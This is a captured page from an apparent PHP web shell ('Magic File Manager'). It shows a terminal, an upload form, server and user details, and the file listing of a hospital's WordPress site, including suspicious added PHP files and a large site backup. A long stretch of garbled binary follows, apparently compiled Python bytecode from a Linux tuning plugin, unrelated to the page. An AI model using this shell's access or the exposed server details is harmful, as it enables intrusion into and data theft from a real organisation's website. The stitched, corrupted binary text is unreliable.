✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log1.38 MB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 À<×e¿Ûã @s ddlmZddlTddlZddlZddlTddlZddlZddl Z ddl j Z ddl Z ddl mZddlZddlZddlZddlZy ejWnek r¨ddlZYnXejjƒZGdd„deƒZGdd „d eƒZGd d „d eƒZGd d „d eƒZGdd„dejƒZdS)é)Úbase)Ú*éN)Úcommandsc@s0eZdZddd„Zedd„ƒZejdd„ƒZdS)ÚSchedulerParamsNcCs(||_||_||_||_||_||_dS)N)Ú_cmdÚcmdlineÚ schedulerÚpriorityÚaffinityÚcgroup)ÚselfÚcmdrr r r r ©rú&/usr/lib/python3.6/plugin_scheduler.pyÚ__init__s zSchedulerParams.__init__cCs |jdkrdS|jj|jƒSdS)N)Ú _affinityrZbitmask2cpulist)r rrrr &s zSchedulerParams.affinitycCs"|dkrd|_n|jj|ƒ|_dS)N)rrZcpulist2bitmask)r Úvaluerrrr -s)NNNNN)Ú__name__Ú __module__Ú __qualname__rÚpropertyr Úsetterrrrrrs  rc@seZdZdd„ZdS)Ú IRQAffinitiescCsi|_d|_g|_dS)N)ÚirqsÚdefaultÚ unchangeable)r rrrr5szIRQAffinities.__init__N)rrrrrrrrr4src@speZdZdZddddddœZdd „Zd d „Zd d „Zdd„Zdd„Z dd„Z dd„Z dd„Z dd„Z dd„ZdS)ÚSchedulerUtilsz= Class encapsulating scheduler implementation in os module Ú SCHED_FIFOÚ SCHED_BATCHÚSCHED_RRÚ SCHED_OTHERÚ SCHED_IDLE)ÚfÚbÚrÚoÚicCs8tdd„|jjƒDƒƒ|_tdd„|jjƒDƒƒ|_dS)Ncss |]\}}|tt|ƒfVqdS)N)ÚgetattrÚos)Ú.0ÚkÚnamerrrú Jsz*SchedulerUtils.__init__..css|]}tt|ƒ|fVqdS)N)r(r))r*r,rrrr-Ls)ÚdictÚ_dict_schedcfg2schedconstÚitemsÚ_dict_schedcfg2numÚvaluesÚ_dict_num2schedconst)r rrrrHszSchedulerUtils.__init__cCs |jj|ƒS)N)r1Úget)r Ú str_schedulerrrrÚsched_cfg_to_numNszSchedulerUtils.sched_cfg_to_numcCs |jj|ƒS)N)r3r4)r r rrrÚsched_num_to_constRsz!SchedulerUtils.sched_num_to_constcCs tj|ƒS)N)r)Úsched_getscheduler)r ÚpidrrrÚ get_schedulerUszSchedulerUtils.get_schedulercCstj||tj|ƒƒdS)N)r)Úsched_setschedulerÚ sched_param)r r9ÚschedÚpriorrrÚ set_schedulerXszSchedulerUtils.set_schedulercCs tj|ƒS)N)r)Úsched_getaffinity)r r9rrrÚ get_affinity[szSchedulerUtils.get_affinitycCstj||ƒdS)N)r)Úsched_setaffinity)r r9r rrrÚ set_affinity^szSchedulerUtils.set_affinitycCs tj|ƒjS)N)r)Úsched_getparamÚsched_priority)r r9rrrÚ get_priorityaszSchedulerUtils.get_prioritycCs tj|ƒS)N)r)Úsched_get_priority_min)r r=rrrÚget_priority_mindszSchedulerUtils.get_priority_mincCs tj|ƒS)N)r)Úsched_get_priority_max)r r=rrrÚget_priority_maxgszSchedulerUtils.get_priority_maxN)rrrÚ__doc__r/rr6r7r:r?rArCrFrHrJrrrrr;s rc@sPeZdZdZdd„Zdd„Zdd„Zdd „Zd d „Zd d „Z dd„Z dd„Z dS)ÚSchedulerUtilsSchedutilszE Class encapsulating scheduler implementation in schedutils module cCs8tdd„|jjƒDƒƒ|_tdd„|jjƒDƒƒ|_dS)Ncss |]\}}|tt|ƒfVqdS)N)r(Ú schedutils)r*r+r,rrrr-psz4SchedulerUtilsSchedutils.__init__..css|]}tt|ƒ|fVqdS)N)r(rM)r*r,rrrr-rs)r.r/r0r1r2r3)r rrrrnsz!SchedulerUtilsSchedutils.__init__cCs tj|ƒS)N)rMr:)r r9rrrr:tsz&SchedulerUtilsSchedutils.get_schedulercCstj|||ƒdS)N)rMr?)r r9r=r>rrrr?wsz&SchedulerUtilsSchedutils.set_schedulercCs tj|ƒS)N)rMrA)r r9rrrrAzsz%SchedulerUtilsSchedutils.get_affinitycCstj||ƒdS)N)rMrC)r r9r rrrrC}sz%SchedulerUtilsSchedutils.set_affinitycCs tj|ƒS)N)rMrF)r r9rrrrF€sz%SchedulerUtilsSchedutils.get_prioritycCs tj|ƒS)N)rMrH)r r=rrrrHƒsz)SchedulerUtilsSchedutils.get_priority_mincCs tj|ƒS)N)rMrJ)r r=rrrrJ†sz)SchedulerUtilsSchedutils.get_priority_maxN) rrrrKrr:r?rArCrFrHrJrrrrrLjsrLcsæeZdZdZ‡fdd„Zdd„Zdd„Zdd „Zed d „ƒZ d d „Z dd„Z dd„Z dd„Z dd„Zdd„Zdd„Zdd„Zdd„Zdd„ZdÅd!d"„Zd#d$„Zd%d&„Zd'd(„ZdÆd)d*„Zd+d,„Zd-d.„Zd/d0„Zd1d2„Zd3d4„Zd5d6„Zd7d8„Zd9d:„Z d;d<„Z!d=d>„Z"dÇd?d@„Z#dAdB„Z$dCdD„Z%‡fdEdF„Z&dGdH„Z'dIdJ„Z(dKdL„Z)e*j+f‡fdMdN„ Z,dOdP„Z-dQdR„Z.‡fdSdT„Z/dUdV„Z0dWdX„Z1dYdZ„Z2e3d[d d\�d]d^„ƒZ4e3d_d d\�d`da„ƒZ5e3dbd d\�dcdd„ƒZ6e3ded d\�dfdg„ƒZ7e3dhd d\�didj„ƒZ8e3dkd d\�dldm„ƒZ9dndo„Z:dpdq„Z;drds„Zdxdy„Z?dzd{„Z@d|d}„ZAd~d„ZBd€d�„ZCd‚dƒ„ZDd„d…„ZEd†d‡„ZFe3dˆd d‰dŠ�d‹dŒ„ƒZGd�dŽ„ZHd�d�„ZIdÉd‘d’„ZJeKd“ƒd”d•„ƒZLeMd“ƒd–d—„ƒZNeKd˜ƒd™dš„ƒZOeMd˜ƒd›dœ„ƒZPeKd�ƒdždŸ„ƒZQeMd�ƒd d¡„ƒZReKd¢ƒd£d¤„ƒZSeMd¢ƒd¥d¦„ƒZTeKd§ƒd¨d©„ƒZUeMd§ƒdªd«„ƒZVeKd¬ƒd­d®„ƒZWeMd¬ƒd¯d°„ƒZXeKd±ƒd²d³„ƒZYeMd±ƒd´dµ„ƒZZeKd¶ƒd·d¸„ƒZ[eMd¶ƒd¹dº„ƒZ\eKd»ƒd¼d½„ƒZ]eMd»ƒd¾d¿„ƒZ^eKdÀƒdÁd„ƒZ_eMdÀƒdÃdÄ„ƒZ`‡ZaS)ÊÚSchedulerPlugina]- `scheduler`:: Allows tuning of scheduling priorities, process/thread/IRQ affinities, and CPU isolation. + To prevent processes/threads/IRQs from using certain CPUs, use the [option]`isolated_cores` option. It changes process/thread affinities, IRQs affinities and it sets `default_smp_affinity` for IRQs. The CPU affinity mask is adjusted for all processes and threads matching [option]`ps_whitelist` option subject to success of the `sched_setaffinity()` system call. The default setting of the [option]`ps_whitelist` regular expression is `.*` to match all processes and thread names. To exclude certain processes and threads use [option]`ps_blacklist` option. The value of this option is also interpreted as a regular expression and process/thread names (`ps -eo cmd`) are matched against that expression. Profile rollback allows all matching processes and threads to run on all CPUs and restores the IRQ settings prior to the profile application. + Multiple regular expressions for [option]`ps_whitelist` and [option]`ps_blacklist` options are allowed and separated by `;`. Quoted semicolon `\;` is taken literally. + .Isolate CPUs 2-4 ==== ---- [scheduler] isolated_cores=2-4 ps_blacklist=.*pmd.*;.*PMD.*;^DPDK;.*qemu-kvm.* ---- Isolate CPUs 2-4 while ignoring processes and threads matching `ps_blacklist` regular expressions. ==== The [option]`irq_process` option controls whether the scheduler plugin applies the `isolated_cores` parameter to IRQ affinities. The default value is `true`, which means that the scheduler plugin will move all possible IRQs away from the isolated cores. When `irq_process` is set to `false`, the plugin will not change any IRQ affinities. ==== The [option]`default_irq_smp_affinity` option controls the values *TuneD* writes to `/proc/irq/default_smp_affinity`. The file specifies default affinity mask that applies to all non-active IRQs. Once an IRQ is allocated/activated its affinity bitmask will be set to the default mask. + The following values are supported: + -- `calc`:: Content of `/proc/irq/default_smp_affinity` will be calculated from the `isolated_cores` parameter. Non-isolated cores are calculated as an inversion of the `isolated_cores`. Then the intersection of the non-isolated cores and the previous content of `/proc/irq/default_smp_affinity` is written to `/proc/irq/default_smp_affinity`. If the intersection is an empty set, then just the non-isolated cores are written to `/proc/irq/default_smp_affinity`. This behavior is the default if the parameter `default_irq_smp_affinity` is omitted. `ignore`:: *TuneD* will not touch `/proc/irq/default_smp_affinity`. explicit cpulist:: The cpulist (such as 1,3-4) is unpacked and written directly to `/proc/irq/default_smp_affinity`. -- + .An explicit CPU list to set the default IRQ smp affinity to CPUs 0 and 2 ==== ---- [scheduler] isolated_cores=1,3 default_irq_smp_affinity=0,2 ---- ==== To adjust scheduling policy, priority and affinity for a group of processes/threads, use the following syntax. + [subs="+quotes,+macros"] ---- group.__groupname__=__rule_prio__:__sched__:__prio__:__affinity__:__regex__ ---- + where `__rule_prio__` defines internal *TuneD* priority of the rule. Rules are sorted based on priority. This is needed for inheritence to be able to reorder previously defined rules. Equal `__rule_prio__` rules should be processed in the order they were defined. However, this is Python interpreter dependant. To disable an inherited rule for `__groupname__` use: + [subs="+quotes,+macros"] ---- group.__groupname__= ---- + `__sched__` must be one of: *`f`* for FIFO, *`b`* for batch, *`r`* for round robin, *`o`* for other, *`*`* do not change. + `__affinity__` is CPU affinity in hexadecimal. Use `*` for no change. + `__prio__` scheduling priority (see `chrt -m`). + `__regex__` is Python regular expression. It is matched against the output of + [subs="+quotes,+macros"] ---- ps -eo cmd ---- + Any given process name may match more than one group. In such a case, the priority and scheduling policy are taken from the last matching `__regex__`. + .Setting scheduling policy and priorities to kernel threads and watchdog ==== ---- [scheduler] group.kthreads=0:*:1:*:\[.*\]$ group.watchdog=0:f:99:*:\[watchdog.*\] ---- ==== + The scheduler plug-in uses perf event loop to catch newly created processes. By default it listens to `perf.RECORD_COMM` and `perf.RECORD_EXIT` events. By setting [option]`perf_process_fork` option to `true`, `perf.RECORD_FORK` events will be also listened to. In other words, child processes created by the `fork()` system call will be processed. Since child processes inherit CPU affinity from their parents, the scheduler plug-in usually does not need to explicitly process these events. As processing perf events can pose a significant CPU overhead, the [option]`perf_process_fork` option parameter is set to `false` by default. Due to this, child processes are not processed by the scheduler plug-in. + The CPU overhead of the scheduler plugin can be mitigated by using the scheduler [option]`runtime` option and setting it to `0`. This will completely disable the dynamic scheduler functionality and the perf events will not be monitored and acted upon. The disadvantage ot this approach is the procees/thread tuning will be done only at profile application. + .Disabling the scheduler dynamic functionality ==== ---- [scheduler] runtime=0 isolated_cores=1,3 ---- ==== + NOTE: For perf events, memory mapped buffer is used. Under heavy load the buffer may overflow. In such cases the `scheduler` plug-in may start missing events and failing to process some newly created processes. Increasing the buffer size may help. The buffer size can be set with the [option]`perf_mmap_pages` option. The value of this parameter has to expressed in powers of 2. If it is not the power of 2, the nearest higher power of 2 value is calculated from it and this calculated value used. If the [option]`perf_mmap_pages` option is omitted, the default kernel value is used. + The scheduler plug-in supports process/thread confinement using cgroups v1. + [option]`cgroup_mount_point` option specifies the path to mount the cgroup filesystem or where *TuneD* expects it to be mounted. If unset, `/sys/fs/cgroup/cpuset` is expected. + If [option]`cgroup_groups_init` option is set to `1` *TuneD* will create (and remove) all cgroups defined with the `cgroup*` options. This is the default behavior. If it is set to `0` the cgroups need to be preset by other means. + If [option]`cgroup_mount_point_init` option is set to `1`, *TuneD* will create (and remove) the cgroup mountpoint. It implies `cgroup_groups_init = 1`. If set to `0` the cgroups mount point needs to be preset by other means. This is the default behavior. + The [option]`cgroup_for_isolated_cores` option is the cgroup name used for the [option]`isolated_cores` option functionality. For example, if a system has 4 CPUs, `isolated_cores=1` means that all processes/threads will be moved to CPUs 0,2-3. The scheduler plug-in will isolate the specified core by writing the calculated CPU affinity to the `cpuset.cpus` control file of the specified cgroup and move all the matching processes/threads to this group. If this option is unset, classic cpuset affinity using `sched_setaffinity()` will be used. + [option]`cgroup.__cgroup_name__` option defines affinities for arbitrary cgroups. Even hierarchic cgroups can be used, but the hieararchy needs to be specified in the correct order. Also *TuneD* does not do any sanity checks here, with the exception that it forces the cgroup to be under [option]`cgroup_mount_point`. + The syntax of the scheduler option starting with `group.` has been augmented to use `cgroup.__cgroup_name__` instead of the hexadecimal `__affinity__`. The matching processes will be moved to the cgroup `__cgroup_name__`. It is also possible to use cgroups which have not been defined by the [option]`cgroup.` option as described above, i.e. cgroups not managed by *TuneD*. + All cgroup names are sanitized by replacing all all dots (`.`) with slashes (`/`). This is to prevent the plug-in from writing outside [option]`cgroup_mount_point`. + .Using cgroups v1 with the scheduler plug-in ==== ---- [scheduler] cgroup_mount_point=/sys/fs/cgroup/cpuset cgroup_mount_point_init=1 cgroup_groups_init=1 cgroup_for_isolated_cores=group cgroup.group1=2 cgroup.group2=0,2 group.ksoftirqd=0:f:2:cgroup.group1:ksoftirqd.* ps_blacklist=ksoftirqd.*;rcuc.*;rcub.*;ktimersoftd.* isolated_cores=1 ---- Cgroup `group1` has the affinity set to CPU 2 and the cgroup `group2` to CPUs 0,2. Given a 4 CPU setup, the [option]`isolated_cores=1` option causes all processes/threads to be moved to CPU cores 0,2-3. Processes/threads that are blacklisted by the [option]`ps_blacklist` regular expression will not be moved. The scheduler plug-in will isolate the specified core by writing the CPU affinity 0,2-3 to the `cpuset.cpus` control file of the `group` and move all the matching processes/threads to this cgroup. ==== Option [option]`cgroup_ps_blacklist` allows excluding processes which belong to the blacklisted cgroups. The regular expression specified by this option is matched against cgroup hierarchies from `/proc/PID/cgroups`. Cgroups v1 hierarchies from `/proc/PID/cgroups` are separated by commas ',' prior to regular expression matching. The following is an example of content against which the regular expression is matched against: `10:hugetlb:/,9:perf_event:/,8:blkio:/` + Multiple regular expressions can be separated by semicolon ';'. The semicolon represents a logical 'or' operator. + .Cgroup-based exclusion of processes from the scheduler ==== ---- [scheduler] isolated_cores=1 cgroup_ps_blacklist=:/daemons\b ---- The scheduler plug-in will move all processes away from core 1 except processes which belong to cgroup '/daemons'. The '\b' is a regular expression metacharacter that matches a word boundary. ---- [scheduler] isolated_cores=1 cgroup_ps_blacklist=\b8:blkio: ---- The scheduler plug-in will exclude all processes which belong to a cgroup with hierarchy-ID 8 and controller-list blkio. ==== Recent kernels moved some `sched_` and `numa_balancing_` kernel run-time parameters from `/proc/sys/kernel`, managed by the `sysctl` utility, to `debugfs`, typically mounted under `/sys/kernel/debug`. TuneD provides an abstraction mechanism for the following parameters via the scheduler plug-in: [option]`sched_min_granularity_ns`, [option]`sched_latency_ns`, [option]`sched_wakeup_granularity_ns`, [option]`sched_tunable_scaling`, [option]`sched_migration_cost_ns`, [option]`sched_nr_migrate`, [option]`numa_balancing_scan_delay_ms`, [option]`numa_balancing_scan_period_min_ms`, [option]`numa_balancing_scan_period_max_ms` and [option]`numa_balancing_scan_size_mb`. Based on the kernel used, TuneD will write the specified value to the correct location. + .Set tasks' "cache hot" value for migration decisions. ==== ---- [scheduler] sched_migration_cost_ns=500000 ---- On the old kernels, this is equivalent to: ---- [sysctl] kernel.sched_migration_cost_ns=500000 ---- that is, value `500000` will be written to `/proc/sys/kernel/sched_migration_cost_ns`. However, on more recent kernels, the value `500000` will be written to `/sys/kernel/debug/sched/migration_cost_ns`. ==== c sîtt|ƒj||||||||ƒd|_tj|_ttjƒ|_ |dk rh|j tj tjƒ|_t|j tj tjƒƒ|_ tƒ|_d|_i|_d|_d|_d|_tjƒ|_|jdd�|_d|_|jdd�|_d|_y tƒ|_Wntk rèt ƒ|_YnXdS)NTz.*Úr )Z command_nameÚirq)!ÚsuperrNrZ_has_dynamic_optionsÚconstsZCFG_DEF_DAEMONÚ_daemonÚintZCFG_DEF_SLEEP_INTERVALÚ_sleep_intervalÚget_boolZ CFG_DAEMONr4ZCFG_SLEEP_INTERVALrrÚ_secure_boot_hintÚ_sched_knob_paths_cacheÚ _ps_whitelistÚ _ps_blacklistÚ_cgroup_ps_blacklist_reÚperfZcpu_mapÚ_cpusZ _storage_keyÚ_scheduler_storage_keyÚ _irq_processÚ_irq_storage_keyÚ_evlistrÚ_scheduler_utilsÚAttributeErrorrL) r Zmonitor_repositoryZstorage_factoryZhardware_inventoryZdevice_matcherZdevice_matcher_udevZplugin_instance_factoryZ global_cfgÚ variables)Ú __class__rrr±s0     zSchedulerPlugin.__init__cCsT|dkr dSy t|ƒ}Wntk r,dSX|dkr:dStdtjtj|dƒƒƒS)Nré)rTÚ ValueErrorÚmathZceilÚlog)r Z mmap_pagesZmprrrÚ_calc_mmap_pagesÎs z SchedulerPlugin._calc_mmap_pagescsd|_d|_d|_d|_ˆjjˆjiƒˆ_tˆjƒdkr^t j dƒˆj ƒiˆ_ˆjj ˆjƒt ƒˆ_dˆ_dˆ_dˆ_tj‡fdd„|jjƒDƒƒˆ_|j|_ˆjj|jdƒ}ˆj|ƒ}|dkrÖt jd|ƒd}|dk rüt|ƒ|krüt j d ||fƒx(|jD]}ˆjj|j|ƒ|j|<�qWˆjj|jjd d ƒƒd k�rHd|_tj ƒ|_!ˆj"�r|j�ryŠt#j$ƒ|_%t#j&t#j't#j(d d ddd d t#j)t#j*Bd � }|j+ˆj,|j%d�t#j-ˆj,|j%ƒ|_|jj.|ƒ|dk�rÜ|jj/ƒn|jj/|d�Wnd|_YnXdS)NFTrz0recovering scheduling settings from previous runcsJg|]B\}}|dd…dkrt|ƒdkrˆj|dd…ƒˆjj|ƒf‘qS)Nézcgroup.)ÚlenÚ_sanitize_cgroup_pathÚ _variablesÚexpand)r*Úoptionr )r rrú ôsz2SchedulerPlugin._instance_init..Úperf_mmap_pageszKInvalid 'perf_mmap_pages' value specified: '%s', using default kernel valuezL'perf_mmap_pages' value has to be power of two, specified: '%s', using: '%d'ZruntimerÚ0) ÚtypeÚconfigZtaskÚcommÚmmapZfreqZ wakeup_eventsZ watermarkZ sample_type)ZcpusÚthreads)Zpages)0raZ_has_dynamic_tuningZ_has_static_tuningÚ_runtime_tuningÚ_storager4r^Ú_scheduler_originalrlriÚinfoÚ_restore_ps_affinityÚunsetr.Ú_cgroups_original_affinityrÚ_cgroup_affinity_initializedÚ_cgroupÚ collectionsÚ OrderedDictÚoptionsr0Ú_cgroupsÚ _schedulerrnrorjÚerrorÚstrrrVÚ threadingZEventÚ _terminaterSr\Z thread_mapZ_threadsÚevselZ TYPE_SOFTWAREZCOUNT_SW_DUMMYZ SAMPLE_TIDZ SAMPLE_CPUÚopenr]ZevlistÚaddrw)r ÚinstanceZperf_mmap_pages_rawrrr+r‹r)r rÚ_instance_initÚs^          zSchedulerPlugin._instance_initcCs*|jr&x|jjƒD]}tj|jƒqWdS)N)raÚ get_pollfdr)Úcloser,)r rŽÚfdrrrÚ_instance_cleanupsz!SchedulerPlugin._instance_cleanupcCs4dtjdddddddddddddddddddddœS)NFTÚcalcZfalse)Úisolated_coresÚcgroup_mount_pointÚcgroup_mount_point_initÚcgroup_groups_initÚcgroup_for_isolated_coresÚcgroup_ps_blacklistÚ ps_whitelistÚ ps_blacklistÚ irq_processÚdefault_irq_smp_affinityrrÚperf_process_forkÚsched_min_granularity_nsÚsched_latency_nsÚsched_wakeup_granularity_nsÚsched_tunable_scalingÚsched_migration_cost_nsÚsched_nr_migrateÚnuma_balancing_scan_delay_msÚ!numa_balancing_scan_period_min_msÚ!numa_balancing_scan_period_max_msÚnuma_balancing_scan_size_mb)rRZDEF_CGROUP_MOUNT_POINT)ÚclsrrrÚ_get_config_optionss,z#SchedulerPlugin._get_config_optionscCs|dk rt|ƒjddƒSdS)NÚ.ú/)rˆÚreplace)r rrrrrm9sz%SchedulerPlugin._sanitize_cgroup_pathcCs>t|tjƒs|}tj|ƒ}tj|ƒ}|j|ƒr:d|d}|S)Nú[ú])Ú isinstanceÚprocfsÚprocessZprocess_cmdlineÚ _is_kthread)r r³r9rrrrÚ _get_cmdline=s     zSchedulerPlugin._get_cmdlinecCs¾tjƒ}|jƒi}x¤|jƒD]˜}yN|j|ƒ}|d}|||<d|krnx&|djƒD]}|j|ƒ}|||<qTWWqttfk r´}z$|jtj ksž|jtj kr¢wn‚WYdd}~XqXqW|S)Nr9rx) r²ÚpidstatsÚreload_threadsr2rµÚkeysÚOSErrorÚIOErrorÚerrnoÚENOENTÚESRCH)r ÚpsÚ processesÚprocrr9ÚerrrÚ get_processesGs$    zSchedulerPlugin.get_processescCs@|jj|ƒ}|jj|ƒ}|jj|ƒ}tjd|||fƒ||fS)Nz8Read scheduler policy '%s' and priority '%d' of PID '%d')rbr:r7rFriÚdebug)r r9r Ú sched_strr rrrÚ_get_rt`s    zSchedulerPlugin._get_rtcCs|jj|ƒ}tjd|||fƒyB|jj|ƒ}|jj|ƒ}||ksJ||kr`tjd||||fƒWn4ttfk r–}ztjd|ƒWYdd}~XnXy|jj |||ƒWn`ttfk �r }z>t |dƒrê|j t j krêtjd|ƒntjd||fƒWYdd}~XnXdS)NzBSetting scheduler policy to '%s' and priority to '%d' of PID '%d'.z9Priority for %s must be in range %d - %d. '%d' was given.z(Failed to get allowed priority range: %sr»zAFailed to set scheduling parameters of PID %d, the task vanished.z1Failed to set scheduling parameters of PID %d: %s) rbr7rirÃrHrJr‡Ú SystemErrorr¹r?Úhasattrr»r½)r r9r=r>rÄZprio_minZprio_maxrÁrrrÚ_set_rths*    zSchedulerPlugin._set_rtcCs|ddtjj@dkS)NÚstatÚflagsr)r²ZpidstatZ PF_KTHREAD)r r³rrrr´„szSchedulerPlugin._is_kthreadcCs yjtj|ƒ}|djƒrd|dddkr8tjd|ƒn(|j|ƒrRtjd|ƒntjd|ƒdSdSWnœttfk rÐ}zF|j t j ks˜|j t j krªtjd |ƒd Stj d ||fƒd SWYdd}~Xn8t tfk �r}ztj d ||fƒdSd}~XnXdS)NrÉÚstateÚZzYAffinity of zombie task with PID %d cannot be changed, the task's affinity mask is fixed.z[Affinity of kernel thread with PID %d cannot be changed, the task's affinity mask is fixed.zRAffinity of task with PID %d cannot be changed, the task's affinity mask is fixed.rrz6Failed to get task info for PID %d, the task vanished.z&Failed to get task info for PID %d: %srféÿÿÿÿéþÿÿÿrÎ)r²r³Zis_bound_to_cpurirÃr´Úwarnr¹rºr»r¼r½r‡rcÚKeyError)r r9r³rÁrrrÚ_affinity_changeableŒs2       z$SchedulerPlugin._affinity_changeablec Cs\y|j|}Wn(tk r6t|jƒ}||j|<YnX|jdkrX|jdkrX||_||_dS)N)r{rÐrrr r )r r9r r ÚparamsrrrÚ_store_orig_process_rtªs z&SchedulerPlugin._store_orig_process_rtcCsÌd}|dkr|dkr|Sy:|j|ƒ\}}|dkr4|}|j|||ƒ|j|||ƒWntttfk rÆ}zTt|dƒr¤|jtjkr¤tj d|ƒ||j krž|j |=d}ntj d||fƒWYdd}~XnX|S)NTr»z=Failed to read scheduler policy of PID %d, the task vanished.FzcRefusing to set scheduler and priority of PID %d, reading original scheduling parameters failed: %s) rÅrÈrÓrÆr¹rÇr»r½rirÃr{r‡)r r9r=r>ÚcontZ prev_schedZ prev_priorÁrrrÚ_tune_process_rt´s& z SchedulerPlugin._tune_process_rtcCst|ƒdd…dkS)Nrkzcgroup.)rˆ)r r rrrÚ_is_cgroup_affinityÊsz#SchedulerPlugin._is_cgroup_affinityFc Csby|j|}Wn(tk r6t|jƒ}||j|<YnX|jdkr^|jdkr^|rX||_n||_dS)N)r{rÐrrr r )r r9r Ú is_cgrouprÒrrrÚ_store_orig_process_affinityÍs z,SchedulerPlugin._store_orig_process_affinityc Cspxj|jjdtjt|ƒdfdd�jdƒD]@}y&|jdƒddd…}|dkrP|Sd Stk rfYq(Xq(Wd S) Nz%s/%s/%sr T)Úno_errorÚ z:cpuset:rrOr­)rÚ read_filerRZPROCFS_MOUNT_POINTrˆÚsplitÚ IndexError)r r9Úlr rrrÚ_get_cgroup_affinityÙs, z$SchedulerPlugin._get_cgroup_affinitycCsB|j|ƒ}|j}|dkr$d||f}|jjd|t|ƒdd�dS)Nr­z%s/%sz%s/tasksT)rÙ)rmÚ_cgroup_mount_pointrÚ write_to_filerˆ)r r9r ÚpathrrrÚ _set_cgroupæs   zSchedulerPlugin._set_cgroupcCs,|dd…}t|tƒ o"t|ƒdk}||fS)Nrkr)r±Úlistrl)r r r×rrrÚ_parse_cgroup_affinityís z&SchedulerPlugin._parse_cgroup_affinityc Csîd}|dkr|Syd|j|ƒ\}}|r<|j|ƒ}|j||ƒn(|j|ƒ}|rX|j|||ƒ}|j||ƒ|j|||ƒWntttfk rè}zTt |dƒrÆ|j t j krÆt j d|ƒ||jkrÀ|j|=d}nt jd||fƒWYdd}~XnX|S)NTr»z5Failed to read affinity of PID %d, the task vanished.FzLRefusing to set CPU affinity of PID %d, reading original affinity failed: %s)rårßrãÚ _get_affinityÚ_get_intersect_affinityÚ _set_affinityrØrÆr¹rÇr»r½rirÃr{r‡) r r9r Ú intersectrÔr×r Ú prev_affinityrÁrrrÚ_tune_process_affinityôs4     z&SchedulerPlugin._tune_process_affinitycCsF|j|||ƒ}|sdS|j||ƒ}| s2||jkr6dS||j|_dS)N)rÕrër{r)r r9rr=r>r rÔrrrÚ _tune_processs zSchedulerPlugin._tune_processc Csf|jj|ƒ}|dkr.|dkr.tjd|ƒdSy t|ƒ}Wn"tk r\tjd|ƒdSX||fS)Nrz>Invalid scheduler: %s. Scheduler and priority will be ignored.z=Invalid priority: %s. Scheduler and priority will be ignored.)NN)NN)rbr6rir‡rTrg)r r5Z str_priorityr r rrrÚ_convert_sched_paramss  z%SchedulerPlugin._convert_sched_paramscCsD|dkrd}n2|j|ƒr|}n"|jj|ƒ}|s@tjd|ƒd}|S)Nrz)Invalid affinity: %s. It will be ignored.)rÖrÚ hex2cpulistrir‡)r Z str_affinityr rrrÚ_convert_affinity+s  z!SchedulerPlugin._convert_affinitycCs6|\}}}}}|j||ƒ\}}|j|ƒ}|||||fS)N)rírï)r ÚvalsÚ rule_prior r r ÚregexrrrÚ_convert_sched_cfg8s   z"SchedulerPlugin._convert_sched_cfgcCs˜d|j|f}ytj|tjƒWn4tk rT}ztjd||fƒWYdd}~XnX|jj d|df|jj d|jdfdd�dd�s”tjd|ƒdS)Nz%s/%sz Unable to create cgroup '%s': %sz cpuset.memsT)rÙz3Unable to initialize 'cpuset.mems ' for cgroup '%s') ràr)ÚmkdirrRÚDEF_CGROUP_MODEr¹rir‡rrárÛ)r r rârÁrrrÚ_cgroup_create_group?s$z$SchedulerPlugin._cgroup_create_groupcCs@|jdk r"|j|jkr"|j|jƒx|jD]}|j|ƒq*WdS)N)r�r…rö)r ÚcgrrrÚ_cgroup_initialize_groupsJs  z)SchedulerPlugin._cgroup_initialize_groupscCsŒtjdƒytj|jtjƒWn0tk rN}ztjd|ƒWYdd}~XnX|j j dddddd|jgƒ\}}|dkrˆtjd |jƒdS) NzInitializing cgroups settingsz'Unable to create cgroup mount point: %sZmountz-tr z-oZcpusetrzUnable to mount '%s') rirÃr)ÚmakedirsràrRrõr¹r‡rÚexecute)r rÁÚretÚoutrrrÚ_cgroup_initializePs   z"SchedulerPlugin._cgroup_initializecCsHytj|ƒWn4tk rB}ztjd||fƒWYdd}~XnXdS)Nz#Unable to remove directory '%s': %s)r)Úrmdirr¹rir‡)r r rÁrrrÚ _remove_dirZszSchedulerPlugin._remove_dircCsXx&t|jƒD]}|jd|j|fƒq W|jdk rT|j|jkrT|jd|j|jfƒdS)Nz%s/%s)Úreversedr…rÿràr�)r r÷rrrÚ_cgroup_finalize_groups`sz'SchedulerPlugin._cgroup_finalize_groupscCsltjdƒ|jjd|jgƒ\}}|dkr.cs6g|].\}}tjd|ƒrt|ƒdkr|ˆj|ƒf‘qS)zgroup\.é)ÚreÚmatchrlró)r*rprð)r rrrq«s cSs |ddS)Nrrr)Z option_valsrrrÚ¯sz8SchedulerPlugin._instance_apply_static..)Úkeyz(error compiling regular expression: '%s'cs(g|] \}}tjˆ|ƒdk r||f‘qS)N)rÚsearch)r*r9r)r%rrrqºsc s$g|]\}}||ˆˆˆˆˆff‘qSrr)r*r9r)r 